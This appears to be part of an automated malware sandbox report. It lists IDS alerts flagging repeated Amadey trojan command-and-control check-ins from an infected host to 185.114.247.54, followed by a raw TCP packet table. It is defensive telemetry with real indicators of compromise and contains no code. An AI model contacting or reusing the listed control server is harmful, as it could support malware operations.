07/19/21-18:36:38.380750	TCP	2027700	ET TROJAN Amadey CnC Check-In	50004	80	192.168.2.6	185.114.247.54
07/19/21-18:36:38.663765	TCP	2027700	ET TROJAN Amadey CnC Check-In	50005	80	192.168.2.6	185.114.247.54
07/19/21-18:36:38.936459	TCP	2027700	ET TROJAN Amadey CnC Check-In	50007	80	192.168.2.6	185.114.247.54
07/19/21-18:36:39.206082	TCP	2027700	ET TROJAN Amadey CnC Check-In	50008	80	192.168.2.6	185.114.247.54
07/19/21-18:36:39.489637	TCP	2027700	ET TROJAN Amadey CnC Check-In	50010	80	192.168.2.6	185.114.247.54
07/19/21-18:36:39.779230	TCP	2027700	ET TROJAN Amadey CnC Check-In	50011	80	192.168.2.6	185.114.247.54
07/19/21-18:36:40.047707	TCP	100000122	COMMUNITY WEB-MISC mod_jrun overflow attempt	50011	80	192.168.2.6	185.114.247.54
07/19/21-18:36:40.085557	TCP	2027700	ET TROJAN Amadey CnC Check-In	50012	80	192.168.2.6	185.114.247.54
07/19/21-18:36:40.364225	TCP	2027700	ET TROJAN Amadey CnC Check-In	50013	80	192.168.2.6	185.114.247.54
07/19/21-18:36:40.664847	TCP	2027700	ET TROJAN Amadey CnC Check-In	50014	80	192.168.2.6	185.114.247.54
07/19/21-18:36:40.968286	TCP	2027700	ET TROJAN Amadey CnC Check-In	50015	80	192.168.2.6	185.114.247.54
07/19/21-18:36:41.248547	TCP	2027700	ET TROJAN Amadey CnC Check-In	50017	80	192.168.2.6	185.114.247.54
07/19/21-18:36:41.556757	TCP	2027700	ET TROJAN Amadey CnC Check-In	50018	80	192.168.2.6	185.114.247.54
07/19/21-18:36:41.845947	TCP	2027700	ET TROJAN Amadey CnC Check-In	50020	80	192.168.2.6	185.114.247.54
07/19/21-18:36:42.179700	TCP	2027700	ET TROJAN Amadey CnC Check-In	50021	80	192.168.2.6	185.114.247.54
07/19/21-18:36:42.586734	TCP	2027700	ET TROJAN Amadey CnC Check-In	50023	80	192.168.2.6	185.114.247.54
07/19/21-18:36:42.807096	TCP	2027700	ET TROJAN Amadey CnC Check-In	50022	80	192.168.2.6	185.114.247.54
07/19/21-18:36:43.731582	TCP	2027700	ET TROJAN Amadey CnC Check-In	50024	80	192.168.2.6	185.114.247.54
07/19/21-18:36:44.165222	TCP	2027700	ET TROJAN Amadey CnC Check-In	50026	80	192.168.2.6	185.114.247.54
07/19/21-18:36:45.498166	TCP	2027700	ET TROJAN Amadey CnC Check-In	50028	80	192.168.2.6	185.114.247.54
07/19/21-18:36:45.997265	TCP	2027700	ET TROJAN Amadey CnC Check-In	50029	80	192.168.2.6	185.114.247.54
07/19/21-18:36:46.287003	TCP	2027700	ET TROJAN Amadey CnC Check-In	50031	80	192.168.2.6	185.114.247.54
07/19/21-18:36:46.578930	TCP	2027700	ET TROJAN Amadey CnC Check-In	50032	80	192.168.2.6	185.114.247.54
07/19/21-18:36:46.873911	TCP	2027700	ET TROJAN Amadey CnC Check-In	50034	80	192.168.2.6	185.114.247.54
07/19/21-18:36:47.151210	TCP	2027700	ET TROJAN Amadey CnC Check-In	50035	80	192.168.2.6	185.114.247.54
07/19/21-18:36:47.459994	TCP	2027700	ET TROJAN Amadey CnC Check-In	50036	80	192.168.2.6	185.114.247.54
07/19/21-18:36:47.738368	TCP	2027700	ET TROJAN Amadey CnC Check-In	50037	80	192.168.2.6	185.114.247.54
07/19/21-18:36:48.036663	TCP	2027700	ET TROJAN Amadey CnC Check-In	50039	80	192.168.2.6	185.114.247.54
07/19/21-18:36:48.323604	TCP	2027700	ET TROJAN Amadey CnC Check-In	50040	80	192.168.2.6	185.114.247.54
07/19/21-18:36:48.617907	TCP	2027700	ET TROJAN Amadey CnC Check-In	50042	80	192.168.2.6	185.114.247.54
07/19/21-18:36:48.924068	TCP	2027700	ET TROJAN Amadey CnC Check-In	50043	80	192.168.2.6	185.114.247.54
07/19/21-18:36:49.225958	TCP	2027700	ET TROJAN Amadey CnC Check-In	50045	80	192.168.2.6	185.114.247.54
07/19/21-18:36:49.517632	TCP	2027700	ET TROJAN Amadey CnC Check-In	50046	80	192.168.2.6	185.114.247.54
07/19/21-18:36:49.785579	TCP	2027700	ET TROJAN Amadey CnC Check-In	50048	80	192.168.2.6	185.114.247.54
07/19/21-18:36:50.059191	TCP	2027700	ET TROJAN Amadey CnC Check-In	50049	80	192.168.2.6	185.114.247.54
07/19/21-18:36:50.348901	TCP	2027700	ET TROJAN Amadey CnC Check-In	50051	80	192.168.2.6	185.114.247.54
07/19/21-18:36:50.902286	TCP	2027700	ET TROJAN Amadey CnC Check-In	50052	80	192.168.2.6	185.114.247.54
07/19/21-18:36:51.189873	TCP	2027700	ET TROJAN Amadey CnC Check-In	50054	80	192.168.2.6	185.114.247.54
07/19/21-18:36:51.511043	TCP	2027700	ET TROJAN Amadey CnC Check-In	50055	80	192.168.2.6	185.114.247.54
07/19/21-18:36:51.811041	TCP	2027700	ET TROJAN Amadey CnC Check-In	50057	80	192.168.2.6	185.114.247.54
07/19/21-18:36:52.084434	TCP	2027700	ET TROJAN Amadey CnC Check-In	50059	80	192.168.2.6	185.114.247.54
07/19/21-18:36:52.350494	TCP	2027700	ET TROJAN Amadey CnC Check-In	50060	80	192.168.2.6	185.114.247.54
07/19/21-18:36:52.617274	TCP	2027700	ET TROJAN Amadey CnC Check-In	50062	80	192.168.2.6	185.114.247.54
07/19/21-18:36:52.901813	TCP	2027700	ET TROJAN Amadey CnC Check-In	50063	80	192.168.2.6	185.114.247.54
07/19/21-18:36:53.177257	TCP	2027700	ET TROJAN Amadey CnC Check-In	50065	80	192.168.2.6	185.114.247.54
07/19/21-18:36:53.724074	TCP	2027700	ET TROJAN Amadey CnC Check-In	50066	80	192.168.2.6	185.114.247.54
07/19/21-18:36:54.004181	TCP	2027700	ET TROJAN Amadey CnC Check-In	50068	80	192.168.2.6	185.114.247.54
07/19/21-18:36:54.309745	TCP	2027700	ET TROJAN Amadey CnC Check-In	50069	80	192.168.2.6	185.114.247.54
07/19/21-18:36:54.601937	TCP	2027700	ET TROJAN Amadey CnC Check-In	50071	80	192.168.2.6	185.114.247.54
07/19/21-18:36:54.883435	TCP	2027700	ET TROJAN Amadey CnC Check-In	50072	80	192.168.2.6	185.114.247.54
07/19/21-18:36:55.162644	TCP	2027700	ET TROJAN Amadey CnC Check-In	50073	80	192.168.2.6	185.114.247.54
07/19/21-18:36:55.424980	TCP	2027700	ET TROJAN Amadey CnC Check-In	50075	80	192.168.2.6	185.114.247.54
07/19/21-18:36:55.726224	TCP	2027700	ET TROJAN Amadey CnC Check-In	50076	80	192.168.2.6	185.114.247.54
07/19/21-18:36:56.006168	TCP	2027700	ET TROJAN Amadey CnC Check-In	50078	80	192.168.2.6	185.114.247.54
07/19/21-18:36:56.296102	TCP	2027700	ET TROJAN Amadey CnC Check-In	50079	80	192.168.2.6	185.114.247.54
07/19/21-18:36:56.624502	TCP	2027700	ET TROJAN Amadey CnC Check-In	50081	80	192.168.2.6	185.114.247.54
07/19/21-18:36:56.934985	TCP	2027700	ET TROJAN Amadey CnC Check-In	50082	80	192.168.2.6	185.114.247.54
07/19/21-18:36:57.226132	TCP	2027700	ET TROJAN Amadey CnC Check-In	50084	80	192.168.2.6	185.114.247.54
07/19/21-18:36:57.493653	TCP	2027700	ET TROJAN Amadey CnC Check-In	50085	80	192.168.2.6	185.114.247.54
07/19/21-18:36:57.785322	TCP	2027700	ET TROJAN Amadey CnC Check-In	50087	80	192.168.2.6	185.114.247.54
07/19/21-18:36:58.091143	TCP	2027700	ET TROJAN Amadey CnC Check-In	50088	80	192.168.2.6	185.114.247.54
07/19/21-18:36:58.633126	TCP	2027700	ET TROJAN Amadey CnC Check-In	50090	80	192.168.2.6	185.114.247.54
07/19/21-18:36:58.944796	TCP	2027700	ET TROJAN Amadey CnC Check-In	50092	80	192.168.2.6	185.114.247.54
07/19/21-18:36:59.224708	TCP	2027700	ET TROJAN Amadey CnC Check-In	50093	80	192.168.2.6	185.114.247.54
07/19/21-18:36:59.525228	TCP	2027700	ET TROJAN Amadey CnC Check-In	50094	80	192.168.2.6	185.114.247.54
07/19/21-18:36:59.808871	TCP	2027700	ET TROJAN Amadey CnC Check-In	50096	80	192.168.2.6	185.114.247.54
07/19/21-18:37:00.086739	TCP	2027700	ET TROJAN Amadey CnC Check-In	50097	80	192.168.2.6	185.114.247.54
07/19/21-18:37:00.349307	TCP	2027700	ET TROJAN Amadey CnC Check-In	50099	80	192.168.2.6	185.114.247.54
07/19/21-18:37:00.628499	TCP	2027700	ET TROJAN Amadey CnC Check-In	50100	80	192.168.2.6	185.114.247.54
07/19/21-18:37:00.914596	TCP	2027700	ET TROJAN Amadey CnC Check-In	50102	80	192.168.2.6	185.114.247.54
07/19/21-18:37:01.213537	TCP	2027700	ET TROJAN Amadey CnC Check-In	50103	80	192.168.2.6	185.114.247.54
07/19/21-18:37:01.521803	TCP	2027700	ET TROJAN Amadey CnC Check-In	50105	80	192.168.2.6	185.114.247.54
07/19/21-18:37:01.836159	TCP	2027700	ET TROJAN Amadey CnC Check-In	50106	80	192.168.2.6	185.114.247.54
07/19/21-18:37:02.182459	TCP	2027700	ET TROJAN Amadey CnC Check-In	50107	80	192.168.2.6	185.114.247.54
07/19/21-18:37:02.479201	TCP	2027700	ET TROJAN Amadey CnC Check-In	50108	80	192.168.2.6	185.114.247.54
07/19/21-18:37:02.789883	TCP	2027700	ET TROJAN Amadey CnC Check-In	50110	80	192.168.2.6	185.114.247.54
07/19/21-18:37:03.086931	TCP	2027700	ET TROJAN Amadey CnC Check-In	50111	80	192.168.2.6	185.114.247.54
07/19/21-18:37:03.399608	TCP	2027700	ET TROJAN Amadey CnC Check-In	50113	80	192.168.2.6	185.114.247.54
07/19/21-18:37:03.694528	TCP	2027700	ET TROJAN Amadey CnC Check-In	50114	80	192.168.2.6	185.114.247.54
07/19/21-18:37:03.979977	TCP	2027700	ET TROJAN Amadey CnC Check-In	50115	80	192.168.2.6	185.114.247.54
07/19/21-18:37:04.272355	TCP	2027700	ET TROJAN Amadey CnC Check-In	50117	80	192.168.2.6	185.114.247.54
07/19/21-18:37:04.544123	TCP	2027700	ET TROJAN Amadey CnC Check-In	50118	80	192.168.2.6	185.114.247.54
07/19/21-18:37:04.840825	TCP	2027700	ET TROJAN Amadey CnC Check-In	50120	80	192.168.2.6	185.114.247.54
07/19/21-18:37:05.144468	TCP	2027700	ET TROJAN Amadey CnC Check-In	50121	80	192.168.2.6	185.114.247.54
07/19/21-18:37:05.433377	TCP	2027700	ET TROJAN Amadey CnC Check-In	50122	80	192.168.2.6	185.114.247.54
07/19/21-18:37:05.709735	TCP	2027700	ET TROJAN Amadey CnC Check-In	50124	80	192.168.2.6	185.114.247.54
07/19/21-18:37:05.990293	TCP	2027700	ET TROJAN Amadey CnC Check-In	50125	80	192.168.2.6	185.114.247.54
07/19/21-18:37:06.291248	TCP	2027700	ET TROJAN Amadey CnC Check-In	50127	80	192.168.2.6	185.114.247.54
07/19/21-18:37:06.590911	TCP	2027700	ET TROJAN Amadey CnC Check-In	50128	80	192.168.2.6	185.114.247.54
07/19/21-18:37:06.885662	TCP	2027700	ET TROJAN Amadey CnC Check-In	50130	80	192.168.2.6	185.114.247.54

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 19, 2021 18:35:20.082828045 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.084095955 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.176155090 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.176451921 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.178057909 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.178530931 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.178962946 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.179440975 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.180430889 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.180574894 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.181890965 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.274952888 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.274986982 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.275002956 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.275015116 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.275027990 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.275041103 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.275058031 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.275167942 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.275238037 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.275259972 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.278770924 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.278795958 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.279339075 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.279829979 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.369172096 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369290113 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.369422913 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369436979 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369443893 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369455099 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369461060 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369493961 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.369538069 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.369729042 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369775057 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369786978 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.369821072 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.369873047 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.369904995 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.378856897 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.382807970 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.382899046 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.383562088 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.383761883 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.396341085 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.463049889 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.463083982 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.463094950 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.463186026 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.463202000 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.463222027 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.463262081 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.463876963 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.478215933 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.478252888 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.478266954 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.478280067 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.478292942 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.478310108 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.492820024 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.506834030 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.506930113 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.556708097 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.556732893 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.556740046 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.556750059 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.556756973 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.556763887 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.659353971 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:20.660963058 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.661588907 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.663053989 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.701390982 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:20.701498032 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:20.702411890 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:20.745357990 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:20.745857954 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.745944977 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.746575117 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.746728897 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.746926069 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.747045994 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.755290031 CEST	80	49734	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.755367041 CEST	49734	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.757945061 CEST	80	49735	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.758012056 CEST	49735	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.765579939 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:20.765662909 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:20.765705109 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:20.765729904 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:20.765750885 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:20.765767097 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:20.765780926 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:20.765835047 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:20.829987049 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830054045 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830074072 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830087900 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830141068 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.830185890 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.830460072 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830481052 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830497026 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830559969 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.830596924 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830656052 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.830894947 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830913067 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830928087 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.830966949 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.830993891 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.831319094 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.831382990 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.831604958 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.831667900 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.912394047 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.912425995 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.912471056 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.912503004 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.912664890 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.912683964 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.912723064 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.912765026 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.912970066 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.912996054 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.913095951 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.913532972 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.913552999 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.913603067 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.913639069 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.913768053 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.913842916 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.995516062 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.995544910 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.995692968 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:20.996663094 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.996903896 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.997020960 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.997044086 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.997060061 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:20.997073889 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.078084946 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.078114033 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.078126907 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.078136921 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.078151941 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.078397036 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.242047071 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.243925095 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.323231936 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.323364019 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.323831081 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.323893070 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.324058056 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.324130058 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.325051069 CEST	80	49737	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.325213909 CEST	49737	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.403297901 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.403328896 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.403343916 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.403512955 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.404717922 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.404741049 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.404758930 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.404768944 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.404783010 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.404793024 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.404805899 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.404831886 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.404895067 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.404920101 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.405075073 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.405177116 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.406322002 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.406346083 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.406419992 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.406462908 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.493547916 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.493576050 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.493587017 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.493648052 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.495940924 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.496031046 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.577122927 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.577584982 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.578536987 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.578650951 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.578810930 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.578830004 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.578845978 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.578881025 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.578941107 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:21.579035044 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.579674959 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.579695940 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.656339884 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.656359911 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.656838894 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.656855106 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.657555103 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.657567978 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.657782078 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.657839060 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:21.657850027 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.757750988 CEST	49738	80	192.168.2.6	185.114.247.54
